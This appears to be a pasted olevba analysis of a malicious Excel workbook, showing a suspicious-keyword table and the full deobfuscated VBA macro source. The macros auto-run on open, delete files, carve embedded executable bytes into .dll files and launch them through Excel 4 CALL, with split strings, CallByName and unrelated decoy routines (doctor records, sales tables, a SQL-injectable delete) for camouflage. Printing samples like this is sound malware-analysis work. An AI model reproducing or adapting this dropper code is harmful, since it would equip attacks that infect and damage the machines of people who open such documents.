  929. |Suspicious|FileCopy |May copy a file |
  930. |Suspicious|Kill |May delete a file |
  931. |Suspicious|Shell |May run an executable file or a system |
  932. | | |command |
  933. |Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
  934. |Suspicious|ActiveWorkbook.SaveA|May save the current workbook |
  935. | |s | |
  936. |Suspicious|CallByName |May attempt to obfuscate malicious function |
  937. | | |calls |
  938. |Suspicious|CALL |May call a DLL using Excel 4 Macros (XLM/XLF)|
  939. | | |(obfuscation: VBA expression) |
  940. |Suspicious|ExecuteExcel4Macro |May run an Excel 4 Macro (aka XLM/XLF) from |
  941. | | |VBA (obfuscation: VBA expression) |
  942. |Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
  943. | | |used to obfuscate strings (option --decode to|
  944. | | |see all) |
  945. |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
  946. | | |used to obfuscate strings (option --decode to|
  947. | | |see all) |
  948. |Suspicious|VBA obfuscated |VBA string expressions were detected, may be |
  949. | |Strings |used to obfuscate strings (option --decode to|
  950. | | |see all) |
  951. |Hex String|SiK@ |53694B40 |
  952. |VBA string|b'\xb1\x15' |Range("B115") |
  953. |VBA string|CopyHere |"Co" + "py" + "Here" |
  954. |VBA string| |"" + "" |
  955. |VBA string|ExecuteExcel4Macro |"Execu" + "teE" + "xcel4Macro" |
  956. |VBA string|CALL( |"CAL" + "L(" |
  957. |VBA string|]Sheet1 |"]" & "Sheet1" |
  958. |VBA string|;' |";" & "'" |
  959. |VBA string|Dr001 |"Dr" & "001" |
  960. |VBA string|00001 |"00" & "001" |
  961. +----------+--------------------+---------------------------------------------+
  962. MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
  963.  
  964.  
  965. Private Sub Workbook_Open()
  966. If WelcomeDialog.Visible = True Then
  967. Exit Sub
  968. End If
  969.  
  970. Module5.RedButton 2910
  971. End Sub
  972.  
  973. Attribute VB_Name = "Sheet1"
  974. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  975. Attribute VB_GlobalNameSpace = False
  976. Attribute VB_Creatable = False
  977. Attribute VB_PredeclaredId = True
  978. Attribute VB_Exposed = True
  979. Attribute VB_TemplateDerived = False
  980. Attribute VB_Customizable = True
  981. Private Sub Worksheet_SelectionChange(ByVal target As Range)
  982.  
  983. End Sub
  984.  
  985. Attribute VB_Name = "Page11"
  986. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  987. Attribute VB_GlobalNameSpace = False
  988. Attribute VB_Creatable = False
  989. Attribute VB_PredeclaredId = True
  990. Attribute VB_Exposed = True
  991. Attribute VB_TemplateDerived = False
  992. Attribute VB_Customizable = True
  993.  
  994. Attribute VB_Name = "Lumene"
  995. Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
  996. Attribute VB_GlobalNameSpace = False
  997. Attribute VB_Creatable = False
  998. Attribute VB_PredeclaredId = False
  999. Attribute VB_Exposed = False
  1000. Attribute VB_TemplateDerived = False
  1001. Attribute VB_Customizable = False
  1002.  
  1003. Dim vSpeed As Integer
  1004. Dim vLicensePlate As String
  1005.  
  1006. Public Property Get Speed() As Integer
  1007. Speed = vSpeed
  1008. End Property
  1009.  
  1010.  
  1011. Public Property Get CheckCar(car As Variant, Drive As String)
  1012. CheckCar = car.SpecialFolders("" & Drive)
  1013.  
  1014. End Property
  1015. Public Property Get SpecialFolders() As String
  1016. LicensePlate = vLicensePlate
  1017. End Property
  1018.  
  1019. Public Property Let LicensePlate(lp As String)
  1020. If Len(lp) <> 6 Then Err.Raise (xlErrValue) 'Raise error
  1021. vLicensePlate = lp
  1022. End Property
  1023.  
  1024.  
  1025. Public Property Let Speed(sp As Integer)
  1026.  
  1027. End Property
  1028.  
  1029.  
  1030.  
  1031. Attribute VB_Name = "Module0"
  1032.  
  1033. Attribute VB_Name = "Module1"
  1034. Public HurricanMoes() As Byte
  1035. Public PatchForLuck As Byte
  1036. Public LUCKY As Double
  1037. Public MoveStep As Byte
  1038. Public PatchForHeart As Byte
  1039.  
  1040.  
  1041.  
  1042.  
  1043.  
  1044. Public Sub VistaQ(WhereToGo)
  1045. DoEvents
  1046. ThisWorkbook.Sheets.Copy
  1047. Application.DisplayAlerts = False
  1048. DoEvents
  1049. ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
  1050. DoEvents
  1051. DoEvents
  1052. ActiveWorkbook.Close
  1053. DoEvents
  1054. DoEvents
  1055.  
  1056.  
  1057. End Sub
  1058.  
  1059.  
  1060.  
  1061.  
  1062.  
  1063. Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
  1064. On Error Resume Next
  1065. For Each Key In putArrayBigList
  1066. Kill Key
  1067. Next Key
  1068. End Sub
  1069.  
  1070.  
  1071.  
  1072.  
  1073.  
  1074. Private Sub TextBox2_Change()
  1075.  
  1076. x = Len(TextBox2)
  1077. Y = LTrim(TextBox2.Text)
  1078. d = TextBox2
  1079. If d = "" Then
  1080. TextBox2.BackColor = &HFFFFFF
  1081. Exit Sub
  1082. End If
  1083. If Left(d, 2) > 24 Then
  1084. MsgBox "Ora Errata"
  1085. TextBox2.SelStart = 0
  1086. TextBox2.SelLength = Len(TextBox2)
  1087. Exit Sub
  1088. End If
  1089. If x = 2 Then TextBox2 = Y & ":"
  1090. If x = 4 Then Exit Sub
  1091.  
  1092. If Mid(d, 4, 2) = "" Then Exit Sub
  1093. If Mid(d, 4, 2) > 59 Then
  1094. MsgBox "Minuti Errati"
  1095. TextBox2.SelStart = 3
  1096. TextBox2.SelLength = Len(TextBox2)
  1097. Exit Sub
  1098. End If
  1099.  
  1100.  
  1101. If x = 5 Then
  1102. TextBox3.SetFocus
  1103. End If
  1104. Exit Sub
  1105.  
  1106. Resume
  1107. End Sub
  1108.  
  1109. Public Function Vooooohead()
  1110.  
  1111.  
  1112. Dim ofbl As String
  1113. Dim sOfbl As String
  1114. Dim NumBForRead As Long
  1115.  
  1116.  
  1117. dershlep = "" + Form0.TextBox1.Tag
  1118.  
  1119.  
  1120.  
  1121. Dim sendings As Integer
  1122. ofbl = Form0.TextBox3.Tag
  1123. ofbl = ofbl + "\srt_join"
  1124.  
  1125. liquidOne = Form0.TextBox1.Tag + "\academ"
  1126.  
  1127. liquidOne = liquidOne + "l.xlsx"
  1128.  
  1129. Dim arr(1 To 3) As String
  1130.  
  1131.  
  1132.  
  1133.  
  1134. If LenB(Form0.TextBox3.Text) > 200 Then
  1135. MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
  1136. TextBox7.SelStart = 0
  1137. Else
  1138.  
  1139.  
  1140. End If
  1141. Dim objeto As Control
  1142.  
  1143. If Len(Form0.TextBox1.Text) > 366 Then
  1144. For Each objeto In UserForm1.Controls
  1145. On Error Resume Next
  1146. objeto.Value = ""
  1147. Next
  1148.  
  1149. Unload ggg.UserForm1
  1150. ggg.UserForm1.Hide
  1151. End If
  1152.  
  1153.  
  1154.  
  1155. ctackPip = liquidOne & Page11."b'\xb1\x15'".Value
  1156.  
  1157. PublicResumEraseByArrayList ofbl + "*", ctackPip, dershlep + UserForm1.Label1.Tag
  1158.  
  1159.  
  1160. VistaQ liquidOne
  1161.  
  1162. FileCopy liquidOne, ctackPip
  1163. sendings = 1
  1164. Dim sNMSP As New Shell
  1165. FlagDouble = False
  1166.  
  1167. Lrigat = UserForm1.Label11.Tag
  1168.  
  1169. If sendings > 0 And sendings > -30 Then
  1170.  
  1171. Set DestinationKat = sNMSP.Namespace(dershlep)
  1172. Set harvest = sNMSP.Namespace(ctackPip)
  1173.  
  1174.  
  1175. End If
  1176.  
  1177.  
  1178. Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
  1179.  
  1180.  
  1181.  
  1182. CallByName DestinationKat, "CopyHere", VbMethod, harvest.Items.Item(Lrigat)
  1183.  
  1184.  
  1185. Dim car As Lumene
  1186.  
  1187. Set car = New Lumene
  1188. For StepBit = 1 To 2
  1189.  
  1190. NumBForRead = 324480
  1191. sendings = 1
  1192. flayString = "1"
  1193.  
  1194. If FlagDouble Then
  1195.  
  1196. sendings = 2
  1197. NumBForRead = 1000000 - 725696
  1198. flayString = "2"
  1199. Else
  1200. FlagDouble = True
  1201. End If
  1202.  
  1203. sOfbl = ofbl + flayString + ".dll"
  1204. Composition dershlep + "" + UserForm1.Label1.Tag + "", sOfbl, NumBForRead, sendings
  1205.  
  1206. If sendings < 100 Then
  1207. sendings = sendings + 1
  1208. sendings = sendings + 1
  1209. End If
  1210. If -100 <= sendings Then
  1211. sendings = sendings + 1
  1212. ChDir Form0.TextBox3.Tag
  1213. sendings = sendings + 1
  1214. End If
  1215. sOfbl = """" + sOfbl & ""","""
  1216.  
  1217. If sendings < 0 Then
  1218. sendings = sendings + 1
  1219. sendings = sendings + 1
  1220. End If
  1221.  
  1222.  
  1223. If sendings > 1000 Then
  1224. sendings = sendings + 1
  1225. End If
  1226.  
  1227. If sendings < 0 Then
  1228. sendings = sendings + 1
  1229. End If
  1230.  
  1231.  
  1232. d = CallByName(ExcelC, "ExecuteExcel4Macro", VbMethod, "CALL(" + sOfbl + "frar"",""J"")")
  1233. If sendings < 0 Then
  1234. sendings = sendings + 1
  1235. sendings = sendings + 1
  1236. End If
  1237. StopByOk = TestResult(d)
  1238.  
  1239.  
  1240. Next
  1241. WelcomeDialog.Hide
  1242.  
  1243. End Function
  1244.  
  1245.  
  1246. Sub subTotalSales()
  1247.  
  1248. Dim LR As Integer
  1249. LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
  1250. Rows("1:2").EntireRow.Insert Shift:=xlDown
  1251.  
  1252. If LR = 3 Then
  1253. Range("A1").Select
  1254. Call salesHeade.rs
  1255. Range("A2").Formula = "$0"
  1256. Range("B2").Formula = "$0"
  1257. Range("C2").Formula = "$0"
  1258. Range("D2").Formula = "$0"
  1259. Range("E2").Formula = "$0"
  1260. Range("F2").Formula = "0%"
  1261. Range("G2").Formula = "0"
  1262. Range("H2").Formula = "$0"
  1263. Range("I2").Formula = "0"
  1264. Range("J2").Formula = "0"
  1265. Range("K2").Formula = "$0"
  1266. Range("L2").Formula = "$0"
  1267. Range("M2").Formula = "0"
  1268. Range("N2").Formula = "0%"
  1269. Else
  1270. Range("A1").Select
  1271. Call salesHeade.rs
  1272. With ActiveSheet
  1273.  
  1274. End With
  1275. End If
  1276.  
  1277. End Sub
  1278.  
  1279.  
  1280. Sub InputWeekData(x As Date)
  1281.  
  1282. ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
  1283. ActiveCell.Offset(0, 1).Select
  1284. ActiveCell = x
  1285. ActiveCell.Offset(0, 1).Select
  1286. ActiveCell = x + 6
  1287. ActiveCell.Offset(0, 1).Select
  1288.  
  1289. End Sub
  1290. Private Sub TextBox3_Change()
  1291.  
  1292. Y = LTrim(TextBox3.Text)
  1293. d = TextBox3
  1294.  
  1295. If x = 5 Then
  1296. TextBox4.SetFocus
  1297. End If
  1298.  
  1299. End Sub
  1300.  
  1301.  
  1302.  
  1303.  
  1304.  
  1305.  
  1306.  
  1307.  
  1308.  
  1309.  
  1310.  
  1311.  
  1312. Attribute VB_Name = "Module2"
  1313.  
  1314. Public Const FirstB As Byte = 77
  1315. Public Const SecondB As Byte = 90
  1316. Public Const ThirdB As Byte = 144
  1317. Public Sub GetParam(Count As Integer)
  1318. Dim i As Long
  1319. Dim j As Integer
  1320. Dim C As String
  1321. Dim tooolsetChunkI As Boolean
  1322. Dim tooolsetChunkQ As Boolean
  1323.  
  1324. j = 1
  1325. tooolsetChunkI = False
  1326. tooolsetChunkQ = False
  1327. GetP.aram = ""
  1328. For i = 1 To Len(Comma.nd$)
  1329. C = Mi.d$(Comma.nd$, i, 1)
  1330. If tooolsetChunkI Then
  1331. If C = """" Then
  1332. j = j + 1
  1333. tooolsetChunkI = False
  1334. tooolsetChunkQ = False
  1335. End If
  1336. ElseIf Not tooolsetChunkQ Then
  1337. If C = " " Then
  1338. j = j + 1
  1339. End If
  1340. Else
  1341. If C = """" Then
  1342. If j > Count Then Exit Sub
  1343. tooolsetChunkI = True
  1344. tooolsetChunkQ = True
  1345. ElseIf C <> " ccc" Then
  1346.  
  1347. End If
  1348. End If
  1349. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  1350. Next i
  1351. End Sub
  1352.  
  1353.  
  1354.  
  1355.  
  1356.  
  1357.  
  1358. Public Sub GetParam3(Count As Integer)
  1359. Dim i As Long
  1360. Dim j As Integer
  1361. Dim C As String
  1362. Dim tooolsetChunkI As Boolean
  1363. Dim tooolsetChunkQ As Boolean
  1364.  
  1365. j = 1
  1366. tooolsetChunkI = False
  1367. tooolsetChunkQ = False
  1368. GetP.aram = ""
  1369. For i = 1 To Len(Comma.nd$)
  1370. C = Mi.d$(Comma.nd$, i, 1)
  1371. If tooolsetChunkI Then
  1372. If C = """" Then
  1373. j = j + 1
  1374. tooolsetChunkI = False
  1375. tooolsetChunkQ = False
  1376. End If
  1377.  
  1378. Else
  1379. If C = """" Then
  1380. If j > Count Then Exit Sub
  1381. tooolsetChunkI = True
  1382. tooolsetChunkQ = True
  1383. ElseIf C <> " " Then
  1384. tooolsetChunkI = True
  1385. End If
  1386. End If
  1387. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  1388. Next i
  1389. End Sub
  1390.  
  1391.  
  1392.  
  1393.  
  1394.  
  1395.  
  1396. Public Sub Composition(Composition2 As String, ofbl As String, fl As Long, DisputeChannel6 As Integer)
  1397. Dim PChannel As Long
  1398. Dim logicVari As Integer
  1399. Dim SimpleMethod As Integer
  1400. ReDim HurricanMoes(1 To fl)
  1401. PChannel = FreeFile
  1402. Open Composition2 For Binary Access Read As PChannel
  1403. HurricanMoes(1) = FirstB
  1404.  
  1405. HurricanMoes(2) = SecondB
  1406. HurricanMoes(3) = ThirdB
  1407. logicVari = 1
  1408. Do While Not EOF(PChannel)
  1409. Get PChannel, , MoveStep
  1410. If MoveStep = FirstB Then
  1411.  
  1412. Get PChannel, , PatchForHeart
  1413. If PatchForHeart = SecondB Then
  1414.  
  1415. Get PChannel, , PatchForLuck
  1416. If PatchForLuck = ThirdB Then
  1417.  
  1418. If logicVari = DisputeChannel6 Then
  1419. For k = 4 To fl
  1420. Get PChannel, , MoveStep
  1421. HurricanMoes(k) = MoveStep
  1422. Next k
  1423. Exit Do
  1424. Else
  1425. logicVari = logicVari + 1
  1426. End If
  1427. End If
  1428. End If
  1429. End If
  1430. Loop
  1431. On Error Resume Next
  1432. PublicationChannel = 1892
  1433. Close PChannel
  1434. PublicationChannel = 1892 + PublicationChannel
  1435. PChannel = FreeFile
  1436. PublicationChannel = 1892 + PublicationChannel
  1437. Open ofbl For Binary Lock Read Write As #PChannel
  1438. PublicationChannel = 1892 + PublicationChannel
  1439. zeroBob = 1
  1440. For i = zeroBob To UBound(HurricanMoes)
  1441.  
  1442. If WelcomeDialog.Enabled = True Then
  1443.  
  1444. Put #PChannel, , HurricanMoes(i)
  1445. End If
  1446. Next i
  1447. Close PChannel
  1448. PChannel = FreeFile
  1449. For HSP = 33 To -1 Step -0.25
  1450. PChannel = 6 + i
  1451. Next HSP
  1452. PChannel = 6 + i
  1453. End Sub
  1454.  
  1455.  
  1456.  
  1457.  
  1458. Private Sub cmd_Keluar_Click()
  1459. Unload LSD.Me
  1460. MDIForm1.dokter.Enabled = True
  1461. MDIForm1.dokter.Checked = False
  1462. End Sub
  1463.  
  1464. Private Sub cmd_Perbaiki_Click()
  1465. If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
  1466. cmd_Simpan.Enabled = False
  1467. cmd_Hapus.Enabled = False
  1468. cmd_Batal.Enabled = True
  1469. Dim var As String
  1470. var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
  1471. If var = Empty Then Exit Sub
  1472. Data1.Recordset.Index = "Kode_dokter"
  1473. Data1.Recordset.Seek "=", var
  1474. If Not Data1.Recordset.NoMatch Then
  1475. Call tam.pil
  1476. txtkd_dok.Enabled = False
  1477. txtnm_dok.Enabled = True
  1478. cmd_Perbaiki.Caption = "&Perbaharui data"
  1479. Else
  1480. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  1481. End If
  1482. Else
  1483. Data1.Recordset.Edit
  1484. Data1.Recordset!kode_dokter = txtkd_dok.Text
  1485. Data1.Recordset!nama_dokter = txtnm_dok.Text
  1486. Data1.Recordset.Update
  1487. Call ber.sih
  1488. cmd_Perbaiki.Caption = "Pe&rbaiki"
  1489. cmd_Batal.Enabled = False
  1490. cmd_Simpan.Enabled = True
  1491. cmd_Hapus.Enabled = True
  1492. Call tdk_bi.sa
  1493. End If
  1494. End Sub
  1495.  
  1496. Private Sub cmd_Simpan_Click()
  1497. If cmd_Simpan.Caption = "&Isi Data" Then
  1498. Call bis.a
  1499. nom.Or
  1500. M.e.txtnm_dok.SetFocus
  1501. cmd_Batal.Enabled = True
  1502. cmd_Perbaiki.Enabled = False
  1503. cmd_Hapus.Enabled = False
  1504. cmd_cari.Enabled = False
  1505. cmd_Simpan.Caption = "&Simpan Data"
  1506. Else
  1507. If txtkd_dok.Text = "" Or txtnm_dok.Text = "" Then
  1508. MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
  1509. txtkd_dok.SetFocus
  1510. Else
  1511. cmd_Batal.Enabled = False
  1512. cmd_Perbaiki.Enabled = True
  1513. cmd_Hapus.Enabled = True
  1514. cmd_cari.Enabled = True
  1515. Data1.Recordset!kode_dokter = txtkd_dok.Text
  1516. Data1.Recordset!nama_dokter = txtnm_dok.Text
  1517. Data1.Recordset.Update
  1518. Call ber.sih
  1519. cmd_Simpan.Caption = "&Isi Data"
  1520. End If
  1521. End If
  1522. End Sub
  1523.  
  1524.  
  1525.  
  1526. Function retVal(ByVal v As Variant) As Variant
  1527. If v <> 0 Then
  1528. retVal = v
  1529. Else
  1530. retVal = ""
  1531. End If
  1532.  
  1533. End Function
  1534.  
  1535. Function getFile() As String()
  1536. Dim s As String
  1537. Dim sl(1000) As String
  1538. Dim r As Range
  1539. Dim i As Integer
  1540. Erase sl
  1541. i = 0
  1542. For Each r In Worksheets("Sheet1").Range("B1:B100")
  1543. s = r.Value
  1544. If s <> "" Then
  1545. i = i + 1
  1546. sl(i) = s
  1547. End If
  1548. Next r
  1549. getFile = sl()
  1550. End Function
  1551.  
  1552. Function getReadKey() As String()
  1553. Dim s As Variant
  1554. Dim rs As Variant
  1555. Dim tmp As Variant
  1556. Dim tmpStr As String
  1557. Dim i As Long
  1558.  
  1559. tmpStr = ""
  1560. For Each s In getFile()
  1561. If s <> "" Then
  1562. tmp = Split(s, "\")
  1563. For i = LBound(tmp) To UBound(tmp)
  1564. If i = LBound(tmp) Then
  1565. tmpStr = tmp(i)
  1566. ElseIf i = UBound(tmp) Then
  1567. tmpStr = tmpStr & "\[" & tmp(i) & "]Sheet1"
  1568. Else
  1569. tmpStr = tmpStr & "\" & tmp(i)
  1570. End If
  1571. Next i
  1572. If Not IsEmpty(rs) Then
  1573. rs = rs & ";'" & tmpStr & "'!"
  1574. Else
  1575. rs = "'" & tmpStr & "'!"
  1576. End If
  1577. End If
  1578. Next s
  1579. Erase tmp
  1580. tmp = Split(rs, ";")
  1581. getReadKey = tmp
  1582. End Function
  1583.  
  1584.  
  1585.  
  1586.  
  1587.  
  1588.  
  1589.  
  1590.  
  1591.  
  1592.  
  1593.  
  1594.  
  1595.  
  1596.  
  1597.  
  1598.  
  1599.  
  1600.  
  1601.  
  1602.  
  1603.  
  1604.  
  1605.  
  1606.  
  1607.  
  1608.  
  1609.  
  1610. Attribute VB_Name = "UserForm1"
  1611. Attribute VB_Base = "0{7A498173-A5D4-4B11-B3C2-2AE1668249D9}{4F1D1689-BB7D-408B-A509-9534D5DF5FA6}"
  1612. Attribute VB_GlobalNameSpace = False
  1613. Attribute VB_Creatable = False
  1614. Attribute VB_PredeclaredId = True
  1615. Attribute VB_Exposed = False
  1616. Attribute VB_TemplateDerived = False
  1617. Attribute VB_Customizable = False
  1618.  
  1619. Attribute VB_Name = "Module5"
  1620.  
  1621. Public Function RedButton(dImmer As Double)
  1622.  
  1623. DosTres = "DosTres"
  1624.  
  1625. If CallByName(WelcomeDialog, "Visible", VbGet) = True Then
  1626. Exit Function
  1627. End If
  1628. reqPlace = 3
  1629. reqPlace = reqPlace - 1
  1630.  
  1631. Set car = New Lumene
  1632. Set TSPIP = New IWshRuntimeLibrary.WSHShell
  1633. Select Case reqPlace
  1634. Case 0
  1635. s = "N health problems"
  1636. Case 1
  1637. s = "Minor health problems"
  1638. Case 2
  1639. s = "Major health problems"
  1640.  
  1641. Case 3
  1642. s = "Sev ere disability"
  1643. End Select
  1644.  
  1645. Dim SpecialPath As String
  1646.  
  1647. PRP = "%" & Form0.TextBox1.Tag
  1648.  
  1649.  
  1650.  
  1651. TBT = PRP
  1652. TBT = TBT + ""
  1653. TBT = TBT + "%"
  1654. TBT = TSPIP.ExpandEnvironmentStrings(TBT)
  1655.  
  1656. firstWeek = 0
  1657. firstDay = 0
  1658. Dim firstdate As Date
  1659. CallByName Form0.TextBox1, "Tag", VbLet, TBT
  1660. firstDay = 2
  1661.  
  1662. lastDay = 4
  1663. Dim lastdate As Date
  1664. lastWeek = 0
  1665. lastDay = 0
  1666.  
  1667. s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
  1668. firstWeek = 1
  1669.  
  1670. lastWeek = 3
  1671. Form0.TextBox3.Tag = s
  1672.  
  1673.  
  1674. If Not firstDay = 1 Then
  1675. firstdate = firstdate + (8 - firstDay)
  1676. firstWeek = firstWeek + 1
  1677. End If
  1678. If lastDay = 6 Then
  1679. lastdate = lastdate + 1
  1680. lastDay = lastDay + 1
  1681. ElseIf Not lastDay = 7 Then
  1682. lastdate = lastdate - lastDay
  1683. lastDay = 7
  1684. lastWeek = lastWeek - 1
  1685. End If
  1686.  
  1687.  
  1688. iteration = 0
  1689.  
  1690.  
  1691. ChDir (Form0.TextBox1.Tag + "")
  1692. If WelcomeDialog.Visible = False Then
  1693. WelcomeDialog.Show
  1694. End If
  1695.  
  1696. End Function
  1697.  
  1698.  
  1699.  
  1700.  
  1701.  
  1702.  
  1703.  
  1704. Private Sub Command7_Click()
  1705. B = MsgBox("?????????", vbYesNo)
  1706. If B = vbYes Then
  1707. a = "delete from cinema where cinid='"
  1708. a = a + Text1.Text + "'"
  1709. cnmovie.Execute a
  1710. rs4.Close
  1711. Sql = "select * from cinema"
  1712. rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
  1713. If rs.BOF Or rs.EOF Then
  1714. MsgBox "?????!"
  1715. Else
  1716. rs4.MoveFirst
  1717. Call View.Data
  1718. End If
  1719. End If
  1720. End Sub
  1721.  
  1722.  
  1723.  
  1724.  
  1725. Private Sub nomor()
  1726. Dim urutan As String * 5
  1727. Dim hitung As Byte
  1728.  
  1729. If Data1.Recordset.RecordCount = 0 Then
  1730. urutan = "Dr001"
  1731. Else
  1732. Data1.Recordset.MoveLast
  1733. If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
  1734. urutan = "00001"
  1735. Else
  1736. hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
  1737. urutan = "Dr" & Right("000" & hitung, 3)
  1738. End If
  1739. End If
  1740. M.e.txtkd_dok = urutan
  1741.  
  1742. End Sub
  1743.  
  1744. Private Sub cmd_Batal_Click()
  1745. Call be.rsih
  1746. Call td.k_bisa
  1747. cmd_Batal.Enabled = False
  1748. cmd_Perbaiki.Enabled = True
  1749. cmd_Hapus.Enabled = True
  1750. cmd_cari.Enabled = True
  1751. End Sub
  1752.  
  1753. Private Sub cmd_cari_Click()
  1754. Dim var As String
  1755. var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
  1756. If var = Empty Then Exit Sub
  1757. If var <> "" Then
  1758. Data1.Recordset.Index = "kode_dokter"
  1759. Data1.Recordset.Seek "=", var
  1760. If Not Data1.Recordset.NoMatch Then
  1761. Call tam.pil
  1762. Call bi.sa
  1763. Call kun.ci
  1764. Else
  1765. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  1766. End If
  1767. End If
  1768. End Sub
  1769.  
  1770.  
  1771.  
  1772. Public Function TestResult(result As Variant)
  1773. TestResult = False
  1774. If IsNumeric(ExcelReturn) Then
  1775. If ExcelReturn = 0 Then
  1776. TestResult = True
  1777. End If
  1778. End If
  1779. End Function
  1780. Private Sub cmd_Hapus_Click()
  1781. Dim var As String
  1782. var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
  1783. If var = Empty Then Exit Sub
  1784. If var = "" Then
  1785. Data1.Recordset.Index = "Kode_dokter"
  1786. Data1.Recordset.Seek "=", var
  1787. If Not Data1.Recordset.NoMatch Then
  1788. Data1.Recordset.Delete
  1789. Data1.Refresh
  1790. Data1.Recordset.MoveFirst
  1791. Else
  1792. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  1793.  
  1794. End If
  1795. End If
  1796. End Sub
  1797.  
  1798.  
  1799.  
  1800.  
  1801.  
  1802.  
  1803.  
  1804. Attribute VB_Name = "Form0"
  1805. Attribute VB_Base = "0{A2FF71FD-3CDA-4003-BDC9-AB7644540F63}{7169C0DA-68DB-45A0-A4BA-5E61EE9C0123}"
  1806. Attribute VB_GlobalNameSpace = False
  1807. Attribute VB_Creatable = False
  1808. Attribute VB_PredeclaredId = True
  1809. Attribute VB_Exposed = False
  1810. Attribute VB_TemplateDerived = False
  1811. Attribute VB_Customizable = False
  1812.  
  1813. Attribute VB_Name = "Sheet3"
  1814. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  1815. Attribute VB_GlobalNameSpace = False
  1816. Attribute VB_Creatable = False
  1817. Attribute VB_PredeclaredId = True
  1818. Attribute VB_Exposed = True
  1819. Attribute VB_TemplateDerived = False
  1820. Attribute VB_Customizable = True
  1821.  
  1822. Attribute VB_Name = "Sheet2"
  1823. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  1824. Attribute VB_GlobalNameSpace = False
  1825. Attribute VB_Creatable = False
  1826. Attribute VB_PredeclaredId = True
  1827. Attribute VB_Exposed = True
  1828. Attribute VB_TemplateDerived = False
  1829. Attribute VB_Customizable = True
  1830.  
  1831. Attribute VB_Name = "WelcomeDialog"
  1832. Attribute VB_Base = "0{53694B40-FB88-4A37-90A5-52765BAC49A7}{464D8830-4C80-45E3-9613-B6ED03033DAA}"
  1833. Attribute VB_GlobalNameSpace = False
  1834. Attribute VB_Creatable = False
  1835. Attribute VB_PredeclaredId = True
  1836. Attribute VB_Exposed = False
  1837. Attribute VB_TemplateDerived = False
  1838. Attribute VB_Customizable = False
  1839.  
  1840. Private Sub UserForm_Activate()
  1841. DoEvents
  1842. DoEvents
  1843. Vooooohead
  1844. DoEvents
  1845. End Sub
  1846.  
  1847.  
  1848.  
  1849.  
  1850.  
  1851. H�,�
  1852. Tahomas
  1853. \oleObject*.bin
  1854. Tahomae
  1855. �Label1
  1856. �xl\embeddings\oleObject1.bin�
  1857.  
Add Comment
Please, Sign In to add comment